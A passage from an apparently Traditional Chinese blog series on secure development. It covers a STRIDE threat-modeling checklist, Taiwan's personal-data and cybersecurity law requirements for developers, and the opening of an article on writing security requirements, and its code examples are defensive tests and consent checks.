      .post('/api/orders')
      .set('Authorization', <code class="kb-btn">Bearer ${tokenA}</code>)
      .send({ items: [{ product_id: 'prod-001', quantity: 1 }] });

    const orderId = orderResponse.body.id;

    // When: 使用者 B 嘗試存取使用者 A 的訂單
    const accessResponse = await request(app)
      .get(<code class="kb-btn">/api/orders/${orderId}</code>)
      .set('Authorization', <code class="kb-btn">Bearer ${tokenB}</code>);

    // Then: 應被拒絕
    expect(accessResponse.status).toBe(403);
    expect(accessResponse.body).not.toHaveProperty('items');
    expect(accessResponse.body).not.toHaveProperty('delivery_address');
  });
});

威脅建模 Checklist:你的團隊可以直接用

以下是一份精簡的威脅建模 Checklist,適合在設計審查會議中使用:

前置準備

□ 已確定要分析的功能範圍(一次一個功能)
□ 已繪製 DFD(包含外部實體、處理程序、資料儲存、資料流)
□ 已標示所有信任邊界
□ 已標註每條資料流上傳輸的資料類型

STRIDE 逐項檢查

## S — Spoofing 身分冒用
□ 每個跨信任邊界的請求是否都有身分驗證?
□ Token / Session 的產生、傳輸、儲存是否安全?
□ 是否有防止 Session Fixation 和 Replay Attack 的機制?

## T — Tampering 資料竄改
□ 傳輸中的資料是否使用 HTTPS / TLS?
□ 伺服器是否獨立驗證所有關鍵資料(價格、數量、權限)?
□ 資料庫操作是否使用參數化查詢?

## R — Repudiation 否認行為
□ 關鍵操作(下單、付款、退款、修改權限)是否有 Audit Log?
□ Log 是否包含 who、what、when、where、result?
□ Log 儲存是否防竄改(不可被使用者或一般管理員刪除)?

## I — Information Disclosure 資訊洩露
□ API 回應是否只包含必要欄位(最小化原則)?
□ 錯誤訊息是否統一格式,不洩漏實作細節?
□ 敏感資料(密碼、Token、個資)是否有適當遮罩或加密?

## D — Denial of Service 阻斷服務
□ 對外 API 是否有 Rate Limiting?
□ 上傳功能是否有檔案大小限制?
□ 資料庫查詢是否有分頁和效能考量?

## E — Elevation of Privilege 權限提升
□ 權限檢查是否在伺服器端執行(不信任前端)?
□ 使用者角色是否從 Token / Session 取得(不接受 request body)?
□ 是否有防止 Mass Assignment / Prototype Pollution 的措施?

收尾

□ 每個識別出的威脅是否有對應的緩解措施?
□ 威脅是否已按風險等級排定優先順序?
□ 高風險威脅是否已轉化為安全驗收標準(Gherkin 格式)?
□ 威脅清單是否已記錄在專案文件中(版本化管理)?

在團隊中落地威脅建模:務實的建議

建議一:從「輕量版」開始,不要追求完美

很多團隊聽到「威脅建模」就覺得很重、很花時間。但威脅建模不需要一次就做到完美。

輕量版做法:在每次 Sprint Planning 或 Design Review 時,花 30 分鐘做以下動作:

  1. 畫一張簡單的 DFD(白板就好,不需要專業工具)
  2. 標出信任邊界
  3. 對每條跨邊界的資料流,快速過一遍 STRIDE
  4. 把識別出的威脅記錄在 Issue Tracker(如 Jira、GitHub Issues)

30 分鐘的威脅建模,遠勝過 0 分鐘。

建議二:指定一位「威脅建模引導者」

這個角色不需要是資安專家。他的工作是:

  • 確保每次設計新功能時,都有人問:「我們做過 STRIDE 分析嗎?」
  • 引導團隊在白板前畫 DFD、標信任邊界
  • 把討論結果記錄下來

這跟上一篇提到的 Security Champion 是同一個角色——在團隊中推動安全思維的人。

建議三:把威脅建模的產出與程式碼綁在一起

威脅清單不要只放在 Confluence 上吃灰塵。建議在專案目錄中建立 <code>threats/</code> 資料夾:

/project
  /src
  /tests
  /specs
  /threats
    login-flow.md       ← 登入功能的威脅分析
    order-flow.md       ← 下單功能的威脅分析
    payment-flow.md     ← 付款功能的威脅分析

每份威脅分析文件包含:DFD 圖(可以用 ASCII art 或 Mermaid)、STRIDE 分析表格、對應的緩解措施、連結到相關的安全驗收標準。

這樣做的好處是:威脅分析會跟著程式碼一起被版本控制,團隊成員可以在 Code Review 時交叉參考。

建議四:善用工具,但不依賴工具

以下是一些免費的威脅建模工具:

工具 特點 適合
OWASP Threat Dragon 開源、支援 DFD 繪製、自動產生 STRIDE 威脅 想要圖形化介面的團隊
Microsoft Threat Modeling Tool 微軟出品、功能完整、有威脅知識庫 Windows 環境的團隊
draw.io / Excalidraw 通用繪圖工具,彈性大 喜歡自由繪製的團隊
Mermaid 純文字語法、可版本控制 開發者友善、CI 整合

飛飛觀點:
工具只是輔助。一塊白板加六支彩色筆,就能做出很棒的威脅建模。重點不是圖畫得多漂亮,而是團隊有沒有一起思考過「攻擊者會怎麼做」。


常見問題 FAQ

Q1:威脅建模跟上一篇的 Abuse Case 有什麼不同?

它們是互補的,但切入角度不同:

面向 Abuse Case 威脅建模(STRIDE)
切入角度 單一功能出發,思考攻擊者怎麼濫用 系統架構出發,系統化盤點所有威脅
適合時機 撰寫安全需求規格時 系統設計或架構審查時
產出格式 Abuse Case 表格 + 安全驗收標準 DFD + STRIDE 威脅清單 + 緩解措施
關注層面 業務邏輯層面的攻擊 技術架構層面的威脅

最佳實踐是兩者搭配使用:先用 STRIDE 找出系統層面的威脅,再對高風險的功能用 Abuse Case 深入分析。

Q2:我們的系統很小,也需要做威脅建模嗎?

系統越小,威脅建模越快。一個三頁功能的小系統,30 分鐘就能做完基本的 STRIDE 分析。而且小系統一旦出事,影響可能比你想的大——因為小團隊通常也沒有專職資安人員來善後。

建議至少對以下功能做威脅建模:處理金流的功能、處理個資的功能、對外暴露的 API、認證與授權相關的功能。

Q3:STRIDE 以外還有其他威脅建模方法嗎?

有的。STRIDE 是最入門也最通用的,但如果你想更進一步:

  • PASTA(Process for Attack Simulation and Threat Analysis):以風險為中心的七步驟框架,更適合企業級的完整評估
  • LINDDUN:專門針對隱私威脅的建模方法,適合處理大量個資的系統
  • Attack Tree:用樹狀結構列出達成某個攻擊目標的所有可能路徑

對初學者來說,先掌握 STRIDE 就足以涵蓋大部分常見威脅。

Q4:威脅建模的結果多久要更新一次?

建議在以下情境時更新:

  • 系統架構有重大變更(如新增微服務、更換資料庫)
  • 新增涉及敏感資料的功能
  • 發生資安事件後的根因分析
  • 每年至少全面 Review 一次

不需要每次小改動都重做,但重大變更一定要重新評估。


結語:威脅建模是一種思維方式,不是一份文件

很多人把威脅建模想成「交差用的文件」——做完往 Wiki 一放,就再也沒人看。

但威脅建模的真正價值,不在那張 DFD 或那份威脅清單,而在於團隊養成了「用攻擊者視角看系統」的思維習慣

當你畫 DFD 時,你會自然地思考:「這條資料流上跑的是什麼?」
當你標信任邊界時,你會自然地問:「這裡的驗證夠嗎?」
當你做 STRIDE 分析時,你會自然地想:「如果我是攻擊者,我會怎麼做?」

這些思考習慣一旦內化,你設計出來的系統自然就會更安全。

就像前面說的:好的建築師不只想像住戶怎麼生活,也會想像小偷怎麼闖入。而好的開發者不只想像使用者怎麼操作,也會想像攻擊者怎麼破壞。

下一篇,我們會繼續探索安全設計階段的其他主題——安全設計原則:最小權限、縱深防禦、預設安全。在你知道威脅從哪來之後,我們來看看怎麼用設計原則把它們擋在門外。


延伸閱讀

[安全需求] 003 SSDLC 安全需求實戰:台灣法規遵循指南:個資法、資安法與產業規範

你的程式碼寫得再安全,如果不符合法規,公司照樣被罰。
法規遵循不是法務的事,而是每一行程式碼的責任。


一、為什麼開發者要懂法規?因為「不知道」不能當藉口

想像你蓋了一棟房子,結構堅固、防盜完善、消防設備齊全。但有一天政府來稽查,發現你的建築執照過期、消防通道寬度不合規、而且沒有無障礙設施——罰單直接開下去,不管你的房子蓋得多漂亮。

軟體開發也是一樣。你可以用 Argon2 加密密碼、做好 CSRF 防護、甚至通過滲透測試零漏洞,但如果你在蒐集使用者資料時沒有取得同意、沒有在隱私政策中告知使用目的、或者在資安事件發生後沒有依法通報——這些都是違法的。

在台灣,跟軟體開發最相關的兩部法律是個人資料保護法(個資法)資通安全管理法(資安法)。此外,如果你的公司屬於特定產業(如金融業、醫療業),還有更嚴格的產業規範要遵守。

在 SSDLC 的七大階段中,法規遵循屬於第一階段:安全需求定義。因為如果你在需求階段就搞清楚「法律要求我做什麼」,後面的設計、實作、測試就能對齊法規要求,而不是上線後才手忙腳亂地補。

飛飛觀點:
很多開發者覺得法規是法務的事,跟寫程式無關。但事實上,法規裡的每一條要求,最終都會變成一行行的程式碼。你越早理解法規,就越能寫出合規又安全的系統。


二、台灣法規全景圖:開發者該認識的三個層次

在深入個別法規之前,先讓我們用一張全景圖理解台灣的資安與個資法規架構:

層次 法規 / 規範 適用對象 主管機關
通用法規 個人資料保護法(個資法) 所有蒐集、處理、利用個資的組織 個人資料保護委員會(籌備中)
通用法規 資通安全管理法(資安法) 公務機關 + 特定非公務機關 數位發展部
產業規範 金融資安行動方案 金融業(銀行、保險、證券等) 金融監督管理委員會(金管會)
產業規範 上市櫃公司資通安全管控指引 上市櫃公司 金管會 / 證交所 / 櫃買中心
產業規範 醫療機構電子病歷製作及管理辦法 醫療機構 衛生福利部
國際接軌 GDPR(歐盟一般資料保護規則) 處理歐盟居民資料的組織 歐盟資料保護機構

對開發者來說,個資法和資安法是基本功,產業規範則視你所在的公司而定。


三、個人資料保護法:開發者必知的核心要求

3.1 個資法跟開發者有什麼關係?

個資法規範的是「個人資料的蒐集、處理及利用」。只要你的系統會碰到使用者的個資,你就在個資法的管轄範圍內。

什麼是「個人資料」?根據個資法第 2 條,只要能直接或間接識別特定個人的資料都算,包括但不限於:

類別 範例 開發者常碰到的場景
基本識別資訊 姓名、身分證字號、出生年月日 會員註冊表單
聯絡資訊 Email、手機號碼、地址 寄送通知、行銷信件
財務資訊 信用卡號、銀行帳號 線上支付功能
特種個資 醫療紀錄、犯罪前科、性生活 健康管理 App、背景查核系統
數位足跡 IP 位址、Cookie、裝置 ID 網站分析、廣告追蹤

3.2 個資法對開發者的八大要求

以下是從個資法中提煉出,跟軟體開發直接相關的八大要求:

要求一:蒐集前要告知並取得同意

你不能偷偷蒐集使用者資料。系統必須在蒐集前明確告知:蒐集的目的、資料類別、使用期間、對象、地區、方式,以及當事人的權利(如查詢、更正、刪除等)。

// ❌ 不好的做法:註冊時沒有任何告知,直接存資料
app.post('/register', (req, res) => {
  db.users.insert(req.body); // 直接存,沒告知
});

// ✅ 好的做法:註冊前展示隱私聲明,取得明確同意
app.post('/register', (req, res) => {
  if (!req.body.privacyConsent) {
    return res.status(400).json({
      error: '請先同意隱私權政策'
    });
  }
  // 記錄同意時間與版本
  const user = {
    ...req.body,
    consentTimestamp: new Date().toISOString(),
    consentVersion: 'privacy-policy-v2.1',
    consentIP: req.ip
  };
  db.users.insert(user);
});

要求二:不能超出蒐集目的使用

你蒐集 Email 是為了寄訂單通知,就不能拿來發行銷信——除非使用者另外同意。

// ❌ 不好的做法:用訂單通知的 Email 名單直接發促銷
await sendEmail(user.email, '限時優惠!全館 5 折');

// ✅ 好的做法:檢查使用者是否有同意行銷用途
if (user.marketingConsent) {
  await sendEmail(user.email, '限時優惠!全館 5 折');
}

要求三:當事人有權查詢、更正、刪除自己的資料

系統必須提供機制讓使用者可以查詢自己被蒐集了哪些資料、要求更正錯誤、甚至要求刪除。

// API 設計應包含這些端點
// GET    /api/me/data          → 查詢個人資料
// PATCH  /api/me/data          → 更正個人資料
// DELETE /api/me/data          → 刪除個人資料(帳號刪除)
// GET    /api/me/data/export   → 匯出個人資料副本

要求四:要制定「個人資料檔案安全維護計畫」

非公務機關(也就是一般公司)必須制定安全維護計畫,包含:管理措施、技術措施、認知宣導訓練,以及事故應變機制。

要求五:資安事件發生後要通知當事人

如果發生個資外洩,你必須在查明後通知當事人,告知外洩的事實、個資類別、應變措施等。

要求六:特種個資需要特別處理

醫療、基因、性生活、健康檢查、犯罪前科等「特種個資」,原則上不得蒐集、處理或利用,除非符合法定例外情形(如法律明文規定、當事人書面同意等)。

要求七:委外處理個資要監督受託者

如果你把資料處理委外(例如用第三方雲端服務、委託行銷公司發信),委託方仍然要負監督責任。

要求八:跨境傳輸有限制

個資傳輸到台灣境外時,需要確保接收方的個資保護水準足夠。

3.3 2025-2026 年個資法重大修正:開發者需注意的變化

2025 年 11 月 11 日,總統公布了個資法修正案(施行日期由行政院另定)。這次修正是個資法自施行以來最大規模的修正,由個資會籌備處採「兩階段」推動修法。以下是對開發者的重要影響:

修正重點 對開發者的影響
成立「個人資料保護委員會」作為獨立監管機關 未來有專責機關統一監管,稽查力度預期增強
明訂個資事故通報義務 發生個資外洩時,須向個資會通報,系統必須有事故偵測與通報機制
公務機關須設置「個人資料保護長」 政府專案開發需配合資料保護長的要求(目前尚未要求民間企業設置)
事故發生後須即時通知當事人 企業不得以「尚未查明」為由遲誤通知,系統需預備當事人通知機制
個資會可逕行處罰,毋庸先令限期改正 違規風險大幅提高,不再有「先被警告再改」的緩衝空間

目前進度(截至 2026 年 2 月):

值得注意的是,個資保護委員會的正式成立,仍須等待「個人資料保護委員會組織法」完成立法程序。目前組織法草案已在立法院「司法及法制委員會」初審完竣,尚待院會完成三讀。行政院將配合組織法的立法進度,再行指定個資法新法的施行日期。

此外,個資會籌備處已在 2026 年初預告多項子法草案,包括「個人資料檔案安全維護管理辦法」、事故通報相關辦法、檢查非公務機關落實個資法情形作業辦法等,正在公開徵求意見階段。這些子法一旦定案,將直接影響你的系統需要符合的具體技術規格。

飛飛觀點:
個資保護委員會的成立,代表台灣的個資保護即將進入新時代。雖然組織法尚在立法程序中,但子法草案已經在預告了——這代表一切都在加速推進。對開發者來說,現在就把合規做好,遠比之後被罰再來改要划算得多。


四、資通安全管理法:你的公司在管轄範圍嗎?

4.1 資安法是什麼?

如果說個資法保護的是「個人的資料」,那資安法保護的就是「國家的資通安全」。資安法在 2019 年正式施行,2025 年 9 月 24 日公布了施行以來首次重大修正(施行日期由行政院另定)。

資安法管的是兩類對象:

第一類:公務機關

各級政府機關。如果你的公司承接政府專案,雖然你不是公務機關,但你的系統需要符合機關的資安要求。

第二類:特定非公務機關

這包括三種:

特定非公務機關類型 範例
關鍵基礎設施提供者 電力、電信、交通、金融、醫療等關鍵服務的營運者
公營事業 台電、中華郵政等
特定財團法人或政府捐助的機構 政府持有一定比例的財團法人

4.2 資安法對開發者的重點要求

要求一:建立資通安全維護計畫

受規範的機關與組織必須制定資安維護計畫,包含資通系統的安全管理、防護、稽核及事件應變等。

要求二:事件通報義務

發生資安事件時,必須在規定時間內向主管機關通報。

事件等級 通報時限 範例
第一級(輕微) 72 小時內 非核心系統異常
第二級(一般) 36 小時內 核心系統效能降低
第三級(重大) 24 小時內 核心系統服務中斷
第四級(嚴重) 1 小時內 機密資料大量外洩

開發者的責任:系統必須有完善的日誌記錄、異常偵測與告警機制,才能在事件發生時快速判斷等級並通報。

要求三:資通系統分級與防護基準

依據系統處理資料的機密性、完整性及可用性,系統被分為不同安全等級,每個等級有對應的防護基準。

資通系統防護基準等級:

普級 → 基本防護(輸入驗證、存取控制、日誌記錄)
中級 → 強化防護(加密傳輸、弱點掃描、定期稽核)
高級 → 最高防護(滲透測試、多因素認證、即時監控)

要求四:委外管理

修正後的資安法明確要求,機關委外辦理資通安全業務時,應與受託者簽訂書面契約,載明權利義務及違約責任。如果你是政府專案的受託廠商,這一點格外重要。

要求五:禁止使用危害國家資通安全產品

2025 年修正將「禁用危害國安產品」提升至法律位階。公務機關不得使用被認定為危害國家資通安全的產品(如特定國家製造的設備或軟體)。

4.3 2025-2026 年資安法修正重點

資安法自 2019 年施行以來,本次(2025 年 8 月 29 日三讀、9 月 24 日公布)是首次重大修正。資安署將在公布後六個月內完成 8 項子法修訂,預計 2026 年上半年與母法同步施行。

修正重點 說明
主管機關變更 由行政院改為數位發展部,資安業務由資安署執行
擴大稽核範圍 總統府及五院均納入稽核範圍
禁用危害國安產品 公務機關不得下載、安裝或使用危害國家資通安全產品(提升至法律位階)
特定非公務機關須設資安長與專職人員 比照公務機關要求,確保資安防護量能
提高罰則 未通報資安事件罰鍰上限提高至 NT$1,000 萬;未改正罰鍰上限提高至 NT$500 萬
強化稽查權限 主管機關可要求到場說明、提出第三方報告或派員檢查
委外管理法制化 委外辦理資安業務須簽訂書面契約,載明權利義務及違約責任
資安人員適任性查核 專職資安人員須進行適任性查核,未通過者不得處理涉及國家機密之業務
資安演練 明確要求機關配合數位發展部辦理資安演練

飛飛觀點:
即使你的公司不是資安法的直接管轄對象,但如果你承接政府專案、為關鍵基礎設施提供軟體服務,或者是上市櫃公司的供應商,資安法的要求都會間接影響到你。了解它,是保護自己也保護客戶。


五、產業規範:金融業與上市櫃公司的特別要求

除了通用的個資法和資安法,特定產業還有更嚴格的要求。以下是兩個對軟體開發影響最大的產業規範:

5.1 金融業:金融資安行動方案

金管會在 2020 年發布「金融資安行動方案」,2022 年推出 2.0 版,對金融機構的資安防護提出全面要求。

對開發者的關鍵要求:

要求 開發實務
核心系統上線前須做安全測試 導入 SAST、DAST、滲透測試
定期弱點掃描與修補 建立持續性的弱點管理流程
電子交易安全 實作多因素認證、交易簽章、防MITM
資安事件通報(30 分鐘 ~ 24 小時) 完善的日誌與即時告警機制
導入 ISO 27001 等國際標準 系統開發需符合 ISMS 要求

5.2 上市櫃公司:資通安全管控指引

金管會要求所有上市櫃公司依照規模分三級,逐步設置資安長、資安專責單位與人員:

級別 條件 要求
第一級 資本額 ≥ NT$100 億或台灣 50 成分股 資安長 + 資安專責單位 + 主管 + ≥ 2 名專責人員
第二級 其餘未連續虧損的上市櫃公司 資安專責主管 + ≥ 1 名專責人員
第三級 連續虧損或每股淨值低於面額 鼓勵設置 ≥ 1 名資安專責人員

資通安全管控指引同時對開發面提出要求:

✅ 系統開發需求規格須納入資安要求
✅ 用戶輸入輸出須有檢查過濾機制
✅ 上線前須執行原始碼掃描
✅ 定期辦理弱點掃描與滲透測試
✅ 委外開發須於合約載明資安要求與稽核權

六、實戰案例:台灣電商平台的法規遵循需求

讓我們用一個完整的案例,把前面的法規知識串起來。

場景

你的團隊正在為一家台灣電商平台開發新版會員系統。這個系統會處理:會員註冊、登入、訂單管理、信用卡支付、行銷推播、退貨退款。公司是上市公司(第二級)。

法規遵循需求分析

Step 1:盤點會碰到的個資

資料類別 具體內容 蒐集目的 法規依據
基本身分 姓名、Email、手機 會員管理、訂單通知 個資法 §19
財務資料 信用卡號、銀行帳號 支付處理 個資法 §19 + PCI DSS
交易紀錄 訂單內容、金額、時間 訂單管理、退貨退款 個資法 §19
行銷相關 瀏覽紀錄、偏好標籤 個人化推薦 個資法 §19(需另取同意)
日誌資料 IP 位址、裝置資訊 資安監控、異常偵測 資安法 + 個資法

Step 2:轉化為安全需求規格

## 會員系統安全需求規格(法規遵循)

### 1. 個資蒐集告知與同意(個資法 §8)
- 註冊頁面須顯示隱私權政策全文
- 使用者須勾選同意後才能完成註冊
- 系統記錄同意時間、IP、政策版本
- 行銷用途須獨立取得同意(不得與服務同意綁定)

### 2. 當事人權利行使機制(個資法 §3)
- 提供「個人資料查詢」功能
- 提供「個人資料更正」功能
- 提供「帳號刪除」功能(含關聯資料清除)
- 提供「個人資料匯出」功能
- 處理期限:收到請求後 15 日內回覆

### 3. 資料安全保護(個資法 §27 + 資安管控指引)
- 信用卡號以 AES-256 加密存儲
- 密碼以 Argon2id 雜湊後存儲
- 所有 API 傳輸使用 TLS 1.2 以上
- 信用卡顯示時遮蔽為 **** **** **** 1234

### 4. 日誌與稽核(資安法 + 管控指引)
- 記錄所有登入、權限變更、資料存取行為
- 日誌中不得包含完整信用卡號或密碼
- 日誌保存至少 6 個月
- 異常行為即時告警

### 5. 資安事件通報準備(資安法 + 個資法)
- 建立資安事件分級與通報流程
- 系統具備事件偵測與告警能力
- 預備當事人通知機制(Email + 站內信)

Step 3:轉化為安全驗收標準

# SAC-LC-01:個資蒐集同意驗證
Scenario: 未同意隱私政策不得完成註冊
  Given 使用者在註冊頁面填寫完資料
  When 使用者未勾選「同意隱私權政策」就點擊註冊
  Then 系統應顯示錯誤訊息「請先同意隱私權政策」
  And 不得將任何資料寫入資料庫

# SAC-LC-02:行銷同意獨立取得
Scenario: 行銷同意與服務同意分離
  Given 使用者在註冊頁面
  When 使用者同意服務條款但未勾選行銷同意
  Then 使用者可以成功完成註冊
  And 資料庫中 marketing_consent 欄位為 false
  And 系統不得對該使用者發送行銷訊息

# SAC-LC-03:當事人資料刪除權
Scenario: 使用者要求刪除帳號
  Given 使用者已登入並進入帳號管理頁面
  When 使用者點擊「刪除帳號」並確認
  Then 系統應在 15 個工作日內完成以下操作:
    - 刪除個人識別資訊(姓名、Email、手機)
    - 交易紀錄去識別化(保留帳務記錄但移除個資)
    - 撤銷所有有效的 JWT 與 Session
    - 發送確認信至使用者 Email

# SAC-LC-04:信用卡資料保護
Scenario: 信用卡號不得以明碼存儲
  Given 系統資料庫中存有信用卡資訊
  When 直接查詢資料庫的信用卡欄位
  Then 應只能看到加密後的密文
  And API 回傳的信用卡資訊必須遮蔽為 **** **** **** 末四碼

# SAC-LC-05:日誌不得記錄敏感資料
Scenario: 日誌中不包含信用卡號與密碼
  Given 使用者進行登入或支付操作
  When 系統記錄操作日誌
  Then 日誌中不得包含完整信用卡號
  And 日誌中不得包含使用者密碼(含雜湊值)
  And 日誌中手機號碼須遮蔽為 09XX-XXX-567

七、法規遵循 Checklist:開發者可以直接用的檢核清單

以下是一份可以直接用於專案的法規遵循檢核清單:

個資法遵循 Checklist

## 蒐集階段
- [ ] 隱私權政策已撰寫並放置於系統可見位置
- [ ] 註冊 / 蒐集流程中有明確的告知與同意機制
- [ ] 行銷用途的同意與服務同意分開取得
- [ ] 同意紀錄(時間、版本、IP)已儲存

## 處理與利用階段
- [ ] 個資使用未超出告知的蒐集目的
- [ ] 特種個資有額外的保護與同意機制
- [ ] 資料存取有權限控制(最小權限原則)
- [ ] 敏感資料已加密存儲

## 當事人權利
- [ ] 提供個資查詢功能
- [ ] 提供個資更正功能
- [ ] 提供帳號 / 個資刪除功能
- [ ] 提供個資匯出功能
- [ ] 權利行使的回覆時限在 15 日內

## 安全維護
- [ ] 已制定個人資料檔案安全維護計畫
- [ ] 傳輸使用 TLS 1.2+
- [ ] 密碼以安全雜湊演算法存儲
- [ ] 有完善的存取日誌機制
- [ ] 日誌中未記錄敏感個資明碼

## 事件應變
- [ ] 有個資外洩通知流程
- [ ] 有事件分級與通報機制
- [ ] 定期演練事件應變流程

資安法遵循 Checklist(適用於承接公務機關專案或特定非公務機關)

## 系統開發階段
- [ ] 開發需求規格已納入資安要求
- [ ] 使用者輸入已做驗證與過濾
- [ ] 上線前已執行原始碼掃描(SAST)
- [ ] 上線前已執行弱點掃描(DAST)
- [ ] 未使用被列為「危害國安」的產品或套件

## 系統運維階段
- [ ] 已建立資安事件分級與通報流程
- [ ] 日誌保存符合規定期限
- [ ] 定期辦理弱點掃描與修補
- [ ] 委外廠商合約載明資安要求

## 人員與組織
- [ ] 已設置資安專責人員(依級別)
- [ ] 資安人員有定期教育訓練
- [ ] 全員完成資安意識宣導

八、團隊落地建議:讓法規遵循變成開發日常

建議一:在 Spec Review 中加入「法規檢查點」

如果你已經在做 SDD(規格驅動開發),在 spec.md 的模板中加入一個「法規遵循」區塊:

## 法規遵循(Legal Compliance)

### 涉及的個資類別
- [ ] 基本識別資訊
- [ ] 聯絡資訊
- [ ] 財務資訊
- [ ] 特種個資
- [ ] 其他:___

### 個資法要求
- [ ] 已確認蒐集目的與告知方式
- [ ] 已確認同意取得機制
- [ ] 已確認當事人權利行使機制

### 產業規範
- [ ] 不適用
- [ ] 金融業規範
- [ ] 上市櫃資安管控指引
- [ ] 其他:___

建議二:建立「法規需求對照表」

每個專案開始時,花 30 分鐘做一份法規需求對照表,把法規要求對應到具體的技術實作:

法規要求 技術實作 負責人 完成狀態
個資法 §8 告知義務 隱私政策頁面 + 同意 Checkbox 前端工程師
個資法 §27 安全維護 AES-256 加密 + Argon2 雜湊 後端工程師
資安管控指引 – 原始碼掃描 CI/CD 整合 SonarQube DevOps

建議三:把法規測試納入 CI/CD

某些法規要求可以自動化驗證:

// 範例:自動化測試確認 API 回應不洩漏敏感資料
describe('法規遵循 - 個資保護', () => {
  it('API 回應中信用卡號應被遮蔽', async () => {
    const res = await request(app)
      .get('/api/me/payment-methods')
      .set('Authorization', <code class="kb-btn">Bearer ${token}</code>);

    res.body.cards.forEach(card => {
      // 信用卡號應被遮蔽,只顯示末四碼
      expect(card.number).toMatch(/^\*{4}\s\*{4}\s\*{4}\s\d{4}$/);
    });
  });

  it('日誌中不應包含密碼', async () => {
    await request(app)
      .post('/api/auth/login')
      .send({ email: 'test@test.com', password: 'MyP@ssw0rd123' });

    const logs = await getRecentLogs();
    logs.forEach(log => {
      expect(log.message).not.toContain('MyP@ssw0rd123');
    });
  });
});

建議四:每季做一次法規更新同步

台灣的資安與個資法規正在快速演進(2025 年就有個資法和資安法的重大修正)。建議每季花一個小時,掃一下法規動態,確認你的系統是否需要調整。


九、常見問題 FAQ

Q1:我們是小公司,個資法也管得到嗎?

A:是的。個資法適用於所有蒐集、處理、利用個人資料的組織,不論規模大小。只要你的系統有使用者註冊、存了使用者的 Email 或手機號碼,就在管轄範圍內。差別在於,個資保護委員會未來可能會依組織規模制定不同程度的管理要求。

Q2:我們不是政府單位也不是關鍵基礎設施,資安法跟我無關?

A:直接管轄可能無關,但如果你承接政府專案、是上市櫃公司、或者你的客戶是受管轄的機關,資安法的要求會間接影響你。而且,上市櫃公司的「資通安全管控指引」對所有上市櫃公司都有約束力。

Q3:個資法和 GDPR 有什麼差異?如果同時要遵守兩者怎麼辦?

A:主要差異在於:GDPR 有更明確的「被遺忘權」與「資料可攜權」、更嚴格的跨境傳輸規定、以及更高的罰鍰上限(最高全球營業額 4%)。如果你的系統同時處理台灣與歐盟使用者的資料,建議以較嚴格的 GDPR 為基準設計,這樣同時能滿足個資法的要求。

Q4:違反個資法最嚴重會怎樣?

A:民事方面,依據個資法第 28 條,同一事件被害人的損害賠償總額最高 NT$2 億元(所涉利益超過 2 億元者,以該所涉利益為限),且支持團體訴訟。刑事方面,意圖營利的違法行為最重可處 5 年以下有期徒刑,併科 NT$100 萬以下罰金,且為非告訴乃論。2025 年修正後新增了個資事故通報義務,未依規定通報個資會將直接面臨行政裁罰,且個資會可毋庸先令限期改正即逕行處罰——這代表不再有「被警告一次再改」的緩衝空間。

📌 法條參考:個資法第 28 條(第四章 損害賠償及團體訴訟)

公務機關違反本法規定,致個人資料遭不法蒐集、處理、利用或其他侵害當事人權利者,負損害賠償責任。但損害因天災、事變或其他不可抗力所致者,不在此限。

被害人雖非財產上之損害,亦得請求賠償相當之金額;其名譽被侵害者,並得請求為回復名譽之適當處分。

依前二項情形,如被害人不易或不能證明其實際損害額時,得請求法院依侵害情節,以每人每一事件新臺幣五百元以上二萬元以下計算。

對於同一原因事實造成多數當事人權利受侵害之事件,經當事人請求損害賠償者,其合計最高總額以新臺幣二億元為限。但因該原因事實所涉利益超過新臺幣二億元者,以該所涉利益為限。

同一原因事實造成之損害總額逾前項金額時,被害人所受賠償金額,不受第三項所定每人每一事件最低賠償金額新臺幣五百元之限制。

第二項請求權,不得讓與或繼承。但以金額賠償之請求權已依契約承諾或已起訴者,不在此限。


十、結語:法規不是枷鎖,是信任的基石

回到 SSDLC 的核心理念——安全不是恐懼,而是創造的基礎。法規遵循也是一樣。

個資法不是來找你麻煩的,它是告訴你:使用者信任你保管他們的資料,你有責任好好保護。資安法也不是製造官僚,它是在說:當整個社會越來越依賴數位系統,你的系統安全就是公共安全的一部分。

法規合規不需要一步到位。就像蓋房子要先拿到建照才能動工,你也可以:

  1. 先了解:花一個下午讀完這篇文章,搞清楚你的系統碰到哪些法規
  2. 再盤點:用 Checklist 檢查目前的合規狀態
  3. 逐步補齊:從風險最高的地方開始,一個一個修

當你的系統不只技術上安全,法規上也合規,你就在告訴使用者和客戶:「我值得你信賴。」

這份信任,是任何技術都買不到的競爭力。


延伸閱讀

台灣法規原文:

主管機關資源:

系列文章:

國際參考:

[安全需求] 002 如何撰寫安全需求規格書?從使用者故事到安全驗收標準:Abuse Case 實戰教學

你不需要成為資安專家才能寫好安全需求。
你只需要學會一件事——在寫「使用者可以做什麼」的同時,問自己「攻擊者會怎麼做」。


一、安全需求規格書是什麼?為什麼你應該在乎?

想像你委託建築師蓋一棟房子。你跟他說:「我要三房兩廳、採光好、有車庫。」建築師照做了,房子蓋得漂亮,但你搬進去才發現——大門沒有鎖、窗戶沒有裝柵欄、後門直接通向公共巷弄。

你會說:「可是我沒有要求裝鎖啊!」

問題就在這裡。你沒有說,所以他沒有做。

軟體開發也是一樣。當你只寫了功能需求(使用者可以登入、可以下單、可以上傳檔案),卻沒有寫安全需求(密碼要怎麼存、誰可以看到訂單、上傳的檔案要不要掃毒),那就等於蓋了一棟沒有門鎖的房子。

安全需求規格書就是在功能需求旁邊,明確寫出「這個功能的安全防線在哪裡」的文件。它不是另一份獨立文件,而是跟功能需求共生共長的安全說明。

在 SSDLC 的七大階段中,安全需求定義是第一階段,也是影響最深遠的階段。根據 IBM 的研究,在需求階段修復一個安全缺陷的成本,只有上線後才修復的 1/30 到 1/100。換句話說,你現在花一小時寫安全需求,可以幫未來的你省下一百小時的修補地獄。


二、傳統需求 vs. 安全需求:差在哪裡?

很多開發者會說:「我有寫需求啊!」但讓我們來看看傳統需求和加入安全考量的需求有什麼不同:

範例:會員登入功能

傳統功能需求:

使用者可以用 Email 和密碼登入系統。
忘記密碼時,可以透過 Email 重設密碼。

看起來沒問題對吧?但如果你是攻擊者,你會怎麼想?

攻擊者的內心獨白:

「密碼有長度限制嗎?我來暴力破解看看。」
「錯誤幾次會鎖帳號嗎?沒有的話我可以一直試。」
「重設密碼的連結會過期嗎?不會的話我撿到舊連結就能用。」
「登入失敗會跟我說是帳號錯還是密碼錯嗎?這樣我可以先確認帳號存不存在。」

加入安全需求後的規格:

使用者可以用 Email 和密碼登入系統。

安全需求:
- 密碼至少 12 碼,需包含大小寫英文、數字與特殊符號。
- 密碼以 Argon2id 雜湊後存入資料庫,禁止明碼儲存。
